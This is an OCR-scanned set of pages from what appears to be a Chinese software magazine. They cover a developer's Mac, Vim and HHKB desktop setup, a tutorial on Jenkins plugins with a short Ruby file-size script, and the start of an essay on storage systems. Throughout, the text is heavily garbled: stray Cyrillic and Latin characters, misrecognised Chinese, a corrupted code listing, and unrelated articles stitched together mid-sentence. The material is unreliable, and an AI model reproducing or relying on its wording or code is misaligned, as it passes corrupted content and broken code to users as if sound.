[ЕУ 常用 的 编辑 器 


里 然 最 近 Sublime Text 20 
ШТ, Н К Н 
Н мт ЕЕ АЖ ТИИ Н 
Vim， 是 因为 听 说 使 用 习惯 了 
后 能 提高 编码 速度 ， 精 通 的 话 
看 起 来 就 像 专家 一 样 。 实 际 上 
Vim 和 HHKB 配合 起 来 使 用 效 
不 н, уин ЕЖ. 
我 现在 几乎 已 经 到 了 没有 Vim 
就 不 能 工作 的 地 步 了 。 














GD http://www.sublimetext.com/ 
(2) http://www.viemu.com/ 


| wh ME Ө EART ATERA 


1й@+ей ато ш 


т йй PeT 


A ETE h mi 


— ситен 


i] -$ i i m j | ү 
Ё È | Ж @ 
ч 





笔者 工作 中 必 不 可 少 的 Xcode 4。 通 过 使 用 ViEmu 插件 ， 可 以 继 


续 沿 用 已 经 习惯 了 的 Vim 操 作 ， 











进行 愉快 的 编码 工作 





аша. 我 在 工作 中 使 用 的 是 1920 х 1080 的 双 显 示 器 。 
桌面 上 放 的 文件 一 般 都 是 临时 的 资源 文件 


A 
ša IDE 


DE RIE EAH 
Xcode 4。Xcode4 除 了 可 以 被 
用 来 开发 iOS 应 用 程序 外 ， 由 
FHPU T iOS M A 
Instruments 等 工具 ， 因 此 从 详 
细 的 调试 到 应 用 程序 的 上 传 
T, ARa U R t Xcode 4 X 
Wo Instruments 的 Leaks 工具 
特别 方便 ， 我 一 直 使 用 它 来 做 
内 存 泄露 的 调查 。 也 许 很 多 人 
都 会 使 用 Xcode 4 的 Interface 
Builder 或 Storyboard 进行 UI 
开发 ,但 是 我 却 吝 欢 只 使 用 代 
码 来 编写 UI。 











"КЕЎ 插件 


我 使 用 了 Xcode4 的 ViEmu2 
这 个 插件 。ViEmu 是 能 在 编辑 
器 里 使 用 Vi/Vim 命令 的 插件 ， 
最 近 发 布 了 文 持 Xcode 4 的 最 
新 版 本 。 以 前 也 有 一 些 类 做 的 
免费 插件 ， 但 是 多 数 都 不 稳定 ， 
或 者 支持 的 命令 较 少 ， 想 必 喜 
WH Vim 的 iOS 应 用 开发 工程 
师 们 都 曾 为 此 伤 过 脑筋 。 虽 然 
ViEmu 这 个 插件 不 是 免费 的 ， 
而 且 还 不 是 很 便宜 ， 但 我 还 是 
非常 想 把 它 推荐 给 使 用 Vim 的 
工程 师 们 。 
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Ж а Мас HRE 
的 果 面 是 怎样 的 
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T Mac,， 软 件 工程 师 的 不 


РЬ 观摩 个 性 十 足 的 桌面 
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保持 Xcode 开启， 通过 Terminal 里 的 macvim-kaoriya 来 进行 编码 


开始 使 用 Mac 的 原因 





在 4 年 前 准备 开始 学 习 
iPhone 应 用 开发 的 时 候 ， 不 得 
已 mi Æ f MacBook Air, 这 也 
是 我 第 一 次 使 用 Mac 系统 。 从 
那 之 后 , 在 磋 磋 绊 绊 地 使 用 
Мас 的 过 程 中 ,渐渐 被 它 的 魅 
力 所 吸 引 ， 在 半年 后 就 将 之 前 
作为 主力 机 硕 使 用 的 Windows 
PC 换 成 iMac 了 。 现 在 不 管 是 
在 公司 还 是 在 家 里 ,我 都 是 用 
MacBook Pro Retina with Apple 
Thunderbolt Display。 此 外 我 还 
有 一 台 MacBook Air, 一 般 在 











(D http://totalterminal.binaryage.com/ 





出 差 或 者 参加 技术 沙龙 的 时 候 
ШШЕ 

有 了 时候 工作 上 也 需要 使 用 
Windows 或 者 Linux 系统 ， 这 
种 情况 下 我 都 会 通过 Parallels 
Desktop 来 运行 Mac 之 外 的 OS。 


FFR A 


я ВАЕ ГР, WMR 
新 安装 了 系统 一 样 。 我 一 般 将 
果 面 作为 工作 空间 来 使 用 ， 工 
VE 
ЖАНУ) ЖЇР, 或 者 临时 文档 ， 使 
я ИА, НАТЕ Т 
作 告 一 段落 的 时 候 ， 我 就 会 把 
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二 之 选 ? 


Terminal, Vim 
和 Xcode 组合 





个 人 信息 


所 友 太 ( TOKORO Yuta ) 
@tokorom 
http://www.tokoro.me/ 

112% 

4 年 

MacBook Рго( Retina )、 
MacBook Air, iMac 


移动 应 用 软件 开发 工程 师 ， 主 
要 进行 iOS 应 用 的 开发 。 最 
近 一 直 负 责 公 司 内 部 Library 
的 开发 。 著 有 《iPhone 编程 
UIKit 详解 六 《详解 EZ 应 用 
(BREW ) 编 程 六 两 本 书 都 由 
RIC TELECOM 出 版 发 行 )。 





果 面 上 的 东西 扔 进 垃圾 箱 或 者 
Ве) ара Ну СУЕ 5. 


开发 环境 





“Eg Xcode 和 
Terminal.app 

Т Е Начо У) 
时 候 , RA D E ДЗС Р Н 
Xcode 和 Terminalapp。 上 有 具体 来 
说 就 是 ， 编写 代码 的 时 候 使 用 
Terminal， 编 译 或 者 调试 的 时 候 
则 使 用 Xcode。 鉴 于 这 种 情况 ， 
在 Xcode 和 Terminal 之 间 快 速 地 
进行 切换 就 显得 很 重要 了 。 所 
以 我 选择 了 使 用 TotalTerminal 















这 个 软件 。 在 TotalTerminal Œ, 
我 将 连 击 两 次 [command 键 设置 为 
将 Terminal 切换 到 前 全 的 快捷 
键 。 此 外 我 还 做 了 如 下 设置 。 





在 Termial 里 编写 代码 时 ， 
如 果 想 在 真 机 .上 进行 验证 ， 
通过 连续 问 打 (Command)、 
(Соттапа), (Command) + [Rj 切 
换 到 Xcode 并 执行 即 可 

(ТЕЛО ее т А] її, 
后 ， 可 以 通过 [Command、 
调 出 Terminal 来 
继续 修改 代码 


之 所 以 使 用 Xcode 和 Teminal 

这 种 组 合 , 最 主要 的 原因 就 

是 我 非常 喜欢 使 用 Vim 进行 
编码 。 

为 了 能 在 Vim 里 编写 

Objective-C 人 代码， 我 安装 了 二 

ЮЕ, i 




















Peg 


ГКО (vag…… 在 源 文 件 和 











PRU EPERRA KEERA. 里 然 亚 作 中 会 在 泉 面 
上 保存 各 种 各 样 的 文件 ， 但 是 工作 结束 后 残 会 进行 清理 


БЕГЕ, Дзе 


У (2 јај 
切换 


地 进行 


unite.vim 和 FuzzyFinder 
好 像 也 很 不 往 
rneocomplcache & neosnippet 
灵活 使 用 代码 片 
段 (Code Snippet ) 功 ВЕ. 
即使 你 没有 完全 记 住 
snippet 的 关键 字 , 它 也 
能 够 目 动 补 全 ， 非 党 万 便 


ЛИУ, ИЧ 
使 用 的 其 他 插件 也 有 兴趣 的 话 ， 
可 以 到 我 Github 上 的 dotfiles® 
== д 


用 左手 小 拇指 
2036 да 
(Option) 键 


D 具体 来 说 是 在 Terminal 里 使 用 macvim-kaoriya。 


(3) https://github.com/tokorom/dotfiles 


(4) https://pqrs.org/osx/karabiner/index.html.en 


(5) 即 左 手 放 在 asdf 上 ， 右 手 放 在 jk1 上 上。 一 一 译 者 注 


КЕЎ 键盘 必须 是 HHKB 


我 非常 喜欢 使 用 的 键盘 
是 Happy Hacking Keyboard 
Professional Type-S (з Ж fii ҰК 
为 HHKB) 最 喜欢 HHKB 的 
АН Е 725 TEJE TA 
多 按 。 
因为 我 很 喜欢 Vim 编辑 器 
所 以 即使 在 Yim 之 外 ， 有 了 时候 
tE m H JAHU) ER HEIT 
下 下 左右 的 移动 操作 。 上 所 以 我 
TE Key Remap4MacBook® E 
Е 键 (在 HHKB 的 左下 
fa) m AHO EEE F et 
НАК, a a T A И 
23 тар НАЧАР —}р„ 
А, WW АИ А 
还 在 于 把 手 放 在 键盘 的 基准 键 
位 置 ” 上 就 可 以 使 用 方向 键 ， 
因此 我 就 想 要 是 能 在 基准 键 位 
置 也 能 按 下 无 ЖАГ. 
为 了 达到 这 个 目的 ,需要 用 左 
手 小 拇指 的 根部 来 按 左 (Option) 
PE OGIE F EHA ME DA PEREX 
ЛИЕ, i 
片 供 大 家 参考 )， 能 完成 这 个 操 
作 的 键盘 很 少 ，HHKB 就 是 其 
中 之 一 ， 所 以 现在 我 已 经 越 来 
越 离 不 开 它 了 。 
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活用 Jenkins 


= 按部就班 真 的 可 行 吗 ?9 


从 小 规模 工程 学 寺 


真 的 有 必要 用 程序 来 做 这 些 吗 ? 
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本 回 将 介绍 Jenkins 的 插件 。Jenkins 本 身 无 法 实现 的 一 些 功能 ， 可 以 利用 插件 来 补充 。 很 多 便利 的 插 
件 已 经 成 为 Jenkins 重 要 的 一 部 分 。 这 里 笔者 将 对 目 己 的 Jenkins 环境 中 所 使 用 的 插件 以 及 其 使 用 方法 进行 


介绍 。 


DEDNO 00/50) 00090,00 I oO SLL I LOD e 


їн 件 


Jenkins 的 搬 件 大 致 可 分 为 两 类 。 同 
Jenkins 自 壬 一 起 被 安装 的 ， 例 如 Subversion 和 
CSV ( Concurrent Versions System ) 这 类 版 本 管 
理 系 统 ( 以 下 称 VCS ) 所 使 用 的 插件 ， 以 及 从 
“系统 管理 ”中 的 “管理 插件 ”安装 的 插件 。 

VCS 所 使 用 的 插件 中 ， 也 有 需要 通过 “ 管 


9) 理 插件 "来 安装 的 ， 例 如 Git 插 件 。 可 能 稍 显 





肪 烦 ， 但 正 因 为 可 以 从 “管理 插件 ” 安 靖 新 的 
插件 ,今后 即便 出 现 了 新 的 VCS， 只 要 有 其 对 
应 的 插件 ， 也 就 可 以 马上 在 Jenkins 中 使 用 了 。 
可 以 从 “管理 插件 ” 安 闭 的 插件 ， 有 与 
build 相 关 的 ,也 有 与 JOB 设 定 相 关 的 ， 种 类 
可 谓 各 式 各 样 。 实 用 的 插件 确实 有 很 多 ， 但 如 
何 查 找 想 要 的 插件 是 一 件 比 较 麻 烦 的 事 。 本 文 
将 首先 对 在 何 处 配置 与 插件 相关 的 操作 等 插件 
的 管理 方法 进行 说 明 。 之 后 ， 再 向 那些 不 知道 
安装 哪个 插件 好 的 谈 者 ， 介 绍 一 下 笔者 所 使 用 
的 一 些 非常 方便 的 插件 。 
DEDO LAOT CANE NA A AAC NR 


查找 插件 


首先 , 我 们 来 看 一 下 已 经 安装 了 哪些 插件 。 
点 击 “ 系 统管 理 ” 中 的 “管理 插件 ”， 进 入 插件 
管理 页 面 (图 1 )。 











文 / 岛 崎 聪 ( 株 )XVI ШТУ @sato с 译 / 阿 饮 


可 以 看 到 4 个 Tab, 分别 是 “更 新 “可 先 
插件 "已 安装 "“ 高 级 ”。 我 们 将 逐个 进行 说 明 。 


ө “更 新 "Tab 

在 这 里 可 以 将 已 安装 的 插件 更 新 到 最 新 版 
本 。Jenkins 自 映 升 级 后 ， 旧 版 本 的 插件 可 能 
法 正常 运行 ， 这 时 可 以 在 此 页 面 确 认 是 否 有 插 
件 更 新 的 信息 。 


© “ОЈ Tab 

当前 公开 中 的 插件 一 览 。 在 需要 安装 的 插 
Т Е), 点击 “直接 安装 ”或 者 “下 载 竺 
重启 后 安装 "(图 2)， 夯 面 迁移 到 下 载 页 面 (图 
3 )， 等 待 安 猴 完毕 即 可 。 














@ 1 插件 管理 页 面 


Jenkins C 的 
Jordi л 
t а Fiter: | k 
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ы үн Рын 











真 的 有 必要 用 程序 来 做 这 些 吗 ? 


@“ 已 安装 "Tab 

对 已 安装 的 插件 进行 管理 。 可 以 选择 是 否 
启用 插件 、 缉 载 插件 或 者 降 到 上 一 个 安装 的 
版 本 。 


ө “高 级 "Tab 

在 “局 级 "Tab 下 面 ， 可 以 设置 下 载 使 用 的 
代理 服务 融 、 升 级 插件 的 源 站 点 ， 还 可 以 手动 
安装 已 经 下 载 的 捅 件 文件 (扩展 为 .hpi) 无 法 
日 动 安 净 的 插件 ,或 者 从 其 他 计算 机 下 载 的 .hpi 
ЖИЕ, прие EHT ER. 
ЗОРОБ 90 «00 9070099515699) «Ө AE NTN 


插件 的 安 委 路 径 


后 文中 有 几 处 需要 进入 到 搬 件 的 安装 目录 
进行 查看 。 一 般 情 况 下 Jenkins 的 安装 目录 下 
有 名 为 “Plugins ”的 文件 夹 ， 插 件 就 被 安装 在 
Plugins 下 与 插件 同名 的 文件 夹 下 。Jenkins 安 
装 目 录 的 路 径 和 08 环境 相关 ， 根 据 具 体 情 况 
会 有 所 不 同 ， 这 一 点 请 谈 者 注意 。 

906599. 600/900,0099 005599). «00/500 ,0099, 005599). «00/80, 


插件 介绍 


下 面 将 介绍 笔者 所 使 用 的 插件 。 大 致 可 分 
为 两 类 : Skypebot 中 使 用 的 插件 以 及 笔者 用 来 
确认 Jenkins 的 工作 状态 的 插件 。 


C) Post Build Task 


该 插件 在 前 一 回 出 中 有 过 介绍 ,为 了 将 
JOB 的 运行 结果 传递 给 Skypebot， 需 要 使 用 该 
插件 对 从 命令 行 输出 的 log 进 行 解析 。 

该 插件 会 查找 log 中 是 否 出 现 了 特定 的 关 
健 字 ， 并 根据 查找 结果 执行 脚本 。 当 存在 多 个 
条 件 时 , 还 可 以 通过 AND/OR 对 条 件 加 以 组 
合 。 例 如 将 多 个 转换 处 理 放 在 一 个 JOB 中 执行 
时 ,就 可 以 使 用 该 插件 ， 这 样 即 使 有 个 别 转 换 
处 理 失 败 ， 也 会 对 其 余 转换 成 功 的 数据 进行 提 
交 。 笔 考 还 使 用 该 插件 ， 对 每 一 个 正常 结束 的 























D 本 杂志 2013 年 2 月 刊 。 








JOB ， 向 Skypebot 发 送 “JOB 名 build 序 号 成 功 ” 
这 样 的 消息 。 如 果 只 在 JOB 处 理 全 部 完成 后 
再 发 送 消息 的 话 ， 即 使 出 现 错误 也 会 像 平 稍 一 
样 发 送 消息 ， 所 以 笔者 使 用 该 插件 进行 了 条 件 
设置 。 

图 5 所 示 的 设置 为 , 查找 人 符合 “(数字 ) 
file(s) converted” 模 式 的 关键 字 ， 如 果 找 到 的 
话 就 运行 脚本 栏 中 记载 的 脚本 。 这 次 只 设 定 了 
一 个 条 件 , 如 果 涉 及 多 个 条 件 的 话 , 点 击 “ 增 加 ” 
键 并 输入 条 件 即 可 。 不 再 需要 的 条 件 通过 点 击 
“Delete Log Text” 删除 即 可 。 脚 本 下 面 的 两 个 








@ 图 2 可 选 插件 页 面 





Jenkins a o з» 
CLEE s WREN 
бы а: [ 
# сп шй НАШ сти ж 
$ п=шес = | ik at 
Айал Upioaders 
Апрйапы Р 
Ci 
A he deck Pr 





E/E Mith 

Ж хиба 

$ спаз ыы ig rend pomii 
Boss Mun ы ва 

ани 

Š TT 
фр рани нета тн] 

а= е арт 








@ 图 4 Post Build Task 的 条 件 配置 
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YXCE 按部就班 真 的 可 行 中 





选择 项 为 “所 有 步骤 都 成 功 的 情况 下 才 运 行 脚 
本 ”和 “脚本 的 运行 结果 反映 到 JOB 的 状态 中 ” 
的 设置 ， 两 者 都 是 在 确认 JOB 正 党 执行 的 基础 
上 ,根据 需要 进行 设置 的 。 


D Log Parser 


该 插件 同样 是 一 款 用 于 解析 命令 行 输 出 
的 log 的 插件 , 不 同 之 处 在 于 该 插件 会 将 解 
析 的 结果 反映 到 JOB 的 状态 中 。 笔者 的 环 
境 中 使 用 它 来 实现 当 build 的 结果 为 Warning 
时 ,将 JOB 的 状态 设置 为 既 非 成 功 也 非 失 败 的 
UNSTABLE 状 态 。 这 样 ， 如 采 找 不 到 上 自动 生 
成 的 代码 中 include 的 文件 ， 就 能 立刻 察觉 。 











өй 

在 项 目的 配置 中 输入 解析 规则 (Parsing 
Rules ) 的 名 称 (Description ) 和 记载 有 需要 解 
析 的 关键 字 的 文件 (Parsing Rules File ) 即 可 
ОЁ б) 

文件 中 需要 解析 的 关键 字 是 用 Java 的 正则 
表达 式 记 载 的 。 例 如 查找 关键 字 “Warning”， 
如 果 有 的 话 就 发 出 警告， 而 随 关 工具 的 改变 ， 
天 键 字 “Warning” 的 输出 形式 也 会 有 所 差异 。 
如 果 逐 一 列举 的 话 会 比较 麻烦 ， 为 了 能 够 不 区 
分 大 小 写 并 从 行 首 开始 查找 ， 可 以 写成 如 下 
Дети 


warn/(?1)^warngin/ 








@ 图 5 配置 事例 
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从 小 规模 工程 学 习 活 用 Jenkins 


此 外 ,还 可 以 添加 诸如 ok/error/info/start 
这 样 的 规则 。 在 显示 log 的 页 面 上 可 以 使 用 
info 和 start 使 处 理 的 各 个 阶段 的 分 隔 更 醒目 。 
笔者 的 JOB 中 在 代码 提交 后 和 test build 之 间 使 
用 了 info 和 start。 另 外 还 添加 了 Warning 和 错 
误 的 解析 规则 ， 对 输出 的 错误 消息 进行 解析 ， 
并 根据 结果 修正 代码 或 调查 build 的 配置 是 否 
有 问题 。 

有 时 ， 即 便 出 现 了 错误 也 有 可 能 无 法 被 正 
确 地 反映 到 处 理 结果 中 。 例 如 批 处 理 文件 中 调 
用 的 其 他 批 处 理 文 件 返 回 了 错误 代码 的 情况 下 ， 
这 时 人 处理 将 继续 执行 到 底 ， 并 不 会 因为 错误 而 
俘 止 ， 因 此 就 可 能 会 导致 在 确认 生成 的 文件 
之 后 才 发 现 无 法 使 用 。 可 以 用 Log Parser 应 对 
这 类 问题 。 虽 然 需要 调查 清楚 发 生 怎 样 的 错误 
时 会 输出 怎样 的 消息 ， 但 这 个 通过 确认 出 错 的 
build 的 命令 行 即 可 。 

记载 解析 规则 的 文本 文件 不 可 以 放 在 任意 
的 目录 下 ， 而 应 该 放 在 代码 库 中 统一 管理 。 虽 
然 这 个 文件 可 能 不 会 被 频繁 地 修改 ,但 如 采 没 
有 固定 的 存放 路 径 ， 人 们 常常 会 忘记 该 文件 的 
存在 。 所 以 最 好 还 是 放 在 和 其 他 代码 以 及 脚本 
相同 的 路 径 下 进行 管理 。 


1 Build Pipe Line 


д: — OM 71У 1 8 ( dashboard ) 画面 显 
示 JOB 一 览 ， 使 其 更 易于 查看 的 插件 。 通 过 仪 
表盘 画面 能 确认 各 JOB 之 间 的 交互 关系 ， 以 及 
成 功 或 失败 等 消息 。 当 目 己 想 查 看 build JOB 
的 流程 时 ， 一 般 会 使 用 该 插件 。 但 在 笔者 的 环 
境 中 ， 其 他 人 不 太 担 心 JOB 之 间 的 交互 ，JOB 
的 成 功 或 失败 也 会 通过 Skypebot 告 知 ， 所 以 不 
需要 通过 仪表 盘 来 确认 。 



































© 图 6 Log Parser 的 配置 
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真 的 有 必要 用 程序 来 做 这 些 吗 ? 


а 

可 以 将 JOB 一 览 做 成 Tab， 这 种 情况 下 新 
添加 的 Tab 称 为 视图 。Build Pipe Line 就 是 该 
视图 的 一 种 ， 用 于 将 JOB 之 间 的 关系 图 像 化 ， 
并 显示 在 仪表 盘 画 面 上 。 

点 击 JOB 一 览 右 侧 的 “+” ， 进 入 视图 的 种 
类 选择 页 面 (图 7)。 这 里 选择 "Build Pipeline 
View”， 并 输入 视图 名 , 就 进入 了 配置 画面 
(图 8 )。 

画面 所 示 的 配置 中 需要 修改 的 部 分 为 
“Select Initial Job”， 这 里 选择 最 先 执行 的 JOB。 
其 余 的 配置 可 以 根据 需要 进行 修改 。 过 去 的 
build 的 显示 件数 会 随 大 该 视图 中 包含 的 JOB 
的 数量 而 有 所 变化 。 点 击 “ 保 存 ” 后， 显示 的 
画面 应 该 更 易于 查看 JOB 之 间 的 关系 ， 成 功 或 
失败 也 更 易于 理解 (图 9 )。 


D Plot 


数据 量 每 天 虱 在 增长 ,但 如 有 果 增 长 得 过 快 
束 可 能 导致 磁盘 容量 人 不足。 在 执行 JOB 的 同时 ， 
可 以 将 磁盘 整体 的 容量 以 及 特定 目录 的 容量 
图 表 的 形式 总 绪 出 来 ， 这 时 就 需要 用 到 “Plot 
插件 。 虽然 需要 预 完 进 行 一 些 准 备 ,但 只 要 在 
JOB 中 添加 统计 ， 磁 盘 容 量 的 状况 怠 能 够 一 览 
ХЖ. 


























@ 准备 制作 图 表 用 的 数据 
运行 该 插件 需要 记录 有 制作 图 表 使 用 的 数 
据 的 .properties 文件 ， 例 如 下 面 这 种 。 





例 ) imagesize.properties 
YVALUE=264 . 464 


YVALUE 为 纵 轴 的 值 , 在 build 中 生成 并 
保存 。 横 轴 为 各 build 的 序号 。YVALUE 保存 
在 build 目录 下 的 CSV 文 件 中 ， 所 以 能 够 直接 
使 用 。 在 JOB 处 理 的 最 后 ,会 对 生成 文件 的 
大 小 进行 统计 ， 并 运行 脚本 将 统计 得 出 的 值 写 
入 文本 文件 ， 之 后 就 可 以 通过 图 表 确 认 每 一 次 
build 后 傍 盘 容量 的 增 减 情况 了 。 

例如 ， 对 文件 夹 中 图 像 文件 的 大 小 进行 统 


















计 并 输出 的 脚本 如 下 (代码 清单 1)。 脚 本 中 还 
扎 加 了 将 统计 得 出 的 文件 大 小 写 入 文本 文件 
的 处 理 。 在 JOB 中 对 所 制作 的 图 表 进 行 配 置 
(图 10 )， 可 以 设置 图 表 的 名 称 、 制 作 时 使 用 的 
build 数 以 及 网 表 的 风格 等 。 由 于 本 次 使 用 的 
是 properties 文件 ， 所 以 文件 形式 选择 “Load 
data from properties fle"， 即 从 设 定 的 “date 
series file” 中 读 取 数据 并 描画 (图 11 )。 


D Publish over FTP 


该 插件 的 作用 是 将 指定 的 输出 文件 上 传 到 
бр 服务 器 。 笔 者 的 环境 中 ， 当 初 安 装 该 插件 





@ 图 7 选择 视图 的 种 类 
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м Ў 按部就班 真 的 可 行 吗 ? 
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是 打算 用 ftp 进行 作业 提交 的 。 现 在 倒是 没有 
用 它 来 进行 提交 ， 而 是 用 来 将 输出 文件 保存 到 
别 的 服务 大 上 。 

该 插件 的 配置 项 不 多 。 首 先 在 Jenkins 的 
系统 设置 中 配置 рй йт, m AKERS iA 
host 名 、ID、 密 码 以 及 ftp 服 务 帮 端的 存放 日 
录 ( 图 12 )。 

接着 是 JOB 中 的 配置 (图 13), 需要 设 
置 的 有 传输 文件 的 路 径 (Transfer Set Sources 
file )、 需 要 从 文件 名 中 删除 的 内 容 (Remove 
prefix ) № fip Й 5 я Ym У Н = 21 (Remote 
directory )。 需要 从 文件 名 中 删除 的 内 容 是 指 ， 
举例 来 说 ,传输 的 文件 名 为 “/project/artifacts/ 
BUILD20130505.zip” 的 情况 下 ， 如 果 设 置 删 
除 的 内 容 为 “/project/artifacts/”， 那 么 实际 上 传 
的 文件 名 就 为 “BUILD20130505.zip”。 这 样 一 











ө 代码 清单 1 例 (脚本 : imagesizerb ) 


H$) БЕНЗ: КЕУДЕ їл, 

002 : image_ (15 = Dir.glob( ARGVLOJ.to 5 ) 
Ж) 计算 所有 文件 的 大 小 

004 : image file size = 0 

005 : image list.each do |name| 

006 : file status = File.stat(name) 

HE ) image_file_size += file status.size 
008 : end 

H ) 输出 的 文件 名 

010 : IMAGESIZE="imagesize.properties" 
#$$ ) ”输出 文件 

012 : File.open(IMAGESIZE,"w") do |f| 


013 : f.write(sprintf("YVALUE=%.03f", 
image_file size)) 
014 : end 


© 10 ”Plot 的 配置 
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从 小 规模 工程 学 习 活 用 Jenkins 


来 ,输出 的 文件 就 会 在 JOB 的 最 后 通过 ftp 被 
传送 到 指定 目录 中 。 通 过 配合 使 用 这 款 插件 和 
Post Build Task 插 件 以 及 发 送 邮 件 的 脚本 ， 并 
事先 制作 好 ftp 上 传 成 功 后 发 送 “ 提 交 成 功 ” 这 
样 的 邮件 的 JOB， 就 可 以 在 深夜 进行 build， 成 
功 后 在 凌晨 用 ftp 提 交 zip 文 件 ， 并 在 ft 好 传输 结 
束 后 立刻 发 送 邮 件 。 怎 么 样 ， 是 不 是 很 棒 呢 ? 


D Emotional Jenkins 


这 是 一 款 可 以 根据 JOB 的 执行 结果 改变 
画面 显示 的 插件 。 在 JOB 的 build 信 息 画 面 中 ， 
将 成 功 /失败 /警告 显示 为 不 同 的 图 像 。 虽 说 用 
蓝 / 红 / 黄 这 三 种 颜色 表示 JOB 的 执行 结果 也 
算 通 众 易 懂 ， 但 这 次 让 我 们 来 换 点 花样 ， 如 果 
成 功 的 话 就 显示 Jenkins 先 生得 意 的 表情 (图 14 
中 ) ; 失败 的 话 就 显示 带 着 魔鬼 面具 的 Jenkins 
先生 (图 14 左 )。 即 使 JOB 执行 失败 ， 但 如 果 
每 次 都 看 到 魔鬼 面具 ， 或 者 是 Jenkins 先生 得 
意 的 表情 ， 不免 让 人 觉得 厌烦 ， 所 以 这 里 介绍 
一 下 图 像 的 蔡 换 方法 。 


























@ 图 11 可 以 通过 图 表 来 确认 
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真 的 有 必要 用 程序 来 做 这 些 吗 ? 


o RDA 

X ЕОР ИЕА Н ж 
“emotional-jenkins-plugin” 中 “images” 文 件 夹 
下 的 文件 。 初 始 状 态 下 ,， 成功/ 失败 /不 稳定 
的 情况 下 将 分 别 显 示 jenkins/angry-jenkins/sad- 
jenkins 的 PNG 图 像 文件 。 

替换 网 像 文件 后 ，build 信 息 画 面 上 Jenk ns 
先生 的 面孔 也 就 不 见 了 。 这 次 我 们 准备 了 样 
图 外 ， 如 图 15 所 示 。 替 换 后 重新 启动 Jenkins， 
打开 build 信 息 画 面 ， 即 可 确认 图 像 已 经 发 生 
Л (416 ). 





© 样 图 已 上 传 至 笔者 的 GitHub ( https://github.conysato-c/sd_ 
jenk ns )， 供 想 试 着 蔡 换 但 手头 没有 合适 图 像 的 读者 使 用 。 








@ 图 13 JOB 中 的 配置 项 目 
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总 结 

Jenkins 的 插件 数量 从 多， 并 且 帮 助 文档 几 * 
乎 都 是 英文 的 ， 所 以 很 多 人 一 开始 都 会 党 得 无 

从 人手。 但 是 只 要 知道 如 何 配置 ， 就 可 以 月 己 
慢 慢 摸索 ， 所 以 首先 要 试 着 安 法 一 下 。 这 次 介 
绍 的 插件 都 是 笔者 在 考虑 好 其 使 用 场景 的 基础 
上 搜索 到 的 。 

可 以 通过 搜索 Jenkins 插件 一 览 的 说 明 中 
包含 的 关键 字 ， 试 春 安 装 一 下 党 得 相符 合 的 捅 
件 ， 或 者 用 Google 搜 索 捅 件 名 ， 看 一 下 网 上 的 
评论 ， 或 者 咨询 一 下 身边 使 用 该 插件 的 人 等 ， 
判断 该 插件 是 否 符合 月 己 的 需求 。 
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存储 系统 从 其 与 生 俱 来 的 使 命 来 说 ， 就 难 
以 摆脱 复杂 系统 的 魔 吃 。 无 论 是 单机 时 代 的 文 
件 系 统 ， 还 是 后 来 C/S 或 B/S 结构 下 数据 库 这 
样 的 存储 中 间 件 的 兴起 ， 还 是 如 今 炙 手 可 热 的 





云 存 储 服务 , 存储 都 很 复杂 , 而 且 是 越 来 越 复杂 。 

存储 为 什么 会 复 森 ,要 从 什么 是 存储 谈 起 。 
存储 这 个 词 非常 平 几 ， 存储 + 计算 (操作) 就 构 
成 了 一 个 朴素 的 计算 机 模型 。 人 简单 来 说 ， 存 储 
就 是 负责 维持 计算 系统 的 状态 的 单元 。 从 维持 
状态 的 角度 ,我 们 会 有 最 朴 系 的 可 徘 性 要 求 。 
比如 单机 时 代 的 文件 系统 ， 对 于 机 器 断 电 、 程 
序 故 障 、 系 统 重启 等 常规 的 异常 ， 文 件 系 统 必 
须 可 以 正确 地 应 对 ， 甚 至 对 于 磁盘 而 区 损坏 ， 
文件 系统 也 需要 考虑 尽量 将 损失 降 到 最 低 。 对 
于 大 部 分 的 业务 程序 而 言 ， 你 只 需要 重点 关注 
业务 的 正常 分 文 流程 就 行 ， 对 于 出 乎 意料 的 情 
况 ， 通 各 只 需 抛 出 一 个 错误 ， 告 诉 用 户 你 不 该 
这 么 玩 。 但 是 对 于 存储 系统 ， 你 需要 花 袖 绝 大 
部 分 精力 在 各 种 异常 情况 的 处 理 上 ， 其 至 你 应 
该 认为 ， 这 些 庞杂 的 、 多 样 的 错误 分 文 处 理 ， 
才 是 存储 系统 的 “正常 业务 逻辑 ”。 

到 了 互联 网 时 代 ， 有 了 CS 或 B/S 结构 ， 
存储 系统 又 有 了 新 指标 一 一 可 用 性 。 为 了 保证 
































服务 质量 ， 那些 用 户 看 不 见 的 服务 剖 程 序 必须 
时 时 保持 在 线 ，, 最 好 做 到 逻辑 上 是 不 宕 机 的 (可 
用 性 100% ). 服务 天 程序 怎么 才能 做 到 高 可 用 
МЕ? 答案 是 存储 中 间 件 。 没 有 存储 中 间 件 ， 意 
味 看 所 有 的 业务 程序 ， 痢 必 须 考 感 每 进行 一 步 
操作 就 对 状态 进行 持久 化 ， 以 便 自 己 挂 挥 后 为 
一 全 服务 融 ( 或 者 目 己 重 局 后 ) 知 道 之 前 工作 到 
了 哪里 ， 接 下 去 应 该 做 些 什么 。 但 是 对 状态 进 
行 持久 化 (也 束 是 存储 ) 会 非常 紧 天 ， 如 果 每 个 
业务 都 自己 实现 ,负担 无 疑 非常 沉重 。 但 如 来 
有 了 局 可 用 的 存储 中 间 件 ， 服 务 问 端的 业务 程 
序 就 只 需 操作 存储 中 间 件 来 更 新 状态 ， 通 过 同 
时 局 动 多 份 业务 程序 的 实例 做 互 备 和 人 负载 均衡 ， 
很 容易 实现 业务 远 辑 上 不 宕 机 。 

所 以 ,数据 库 这 样 的 存储 中 间 件 的 出 现 基 
本 上 是 历史 必然 。 尺 管 数 据 库 很 通用 , 但 它 决 
不 会 是 唯一 的 存储 中 间 件 。 比 如 业务 中 用 到 的 
富 媒 体 ( 图 片 、 音 视频 、Office 文 档 等 ) Ri] 
很 少 会 去 存储 到 数据 库 中 ， 更 多 的 时 候 是 把 它 
们 放 在 文件 系统 里 。 但 是 单机 时 代 诞 生 的 文件 
系统 , 真 的 是 最 适合 存储 这 些 语 媒体 数据 的 吗 ? 
不 ， 文 件 系 统 需 要 改变 ， 原因 如 下 。 





















































“伸缩 性 。 单 机 文件 系统 的 第 一 个 问题 是 
单机 容量 有 限 ， 在 存储 规模 超过 一 人 台 机 
器 可 管理 的 范围 的 时 候 ， 应 该 怎么 办 ? 
“性 能 瓶颈 。 通 第 ， 单 机 文件 系统 在 文件 
数目 达到 临界 点 后 ， 性 能 会 快速 下 降 。 
在 4TB 的 大 容量 磁盘 越 来 越 首 及 的 今天 ， 
这 个 临界 点 相当 容易 达到 。 

。 可靠 性 要 求 。 单 机 文件 系统 通常 只 是 单 
副本 的 方案 ,但 是 今天 单 副 本 的 存储 早 
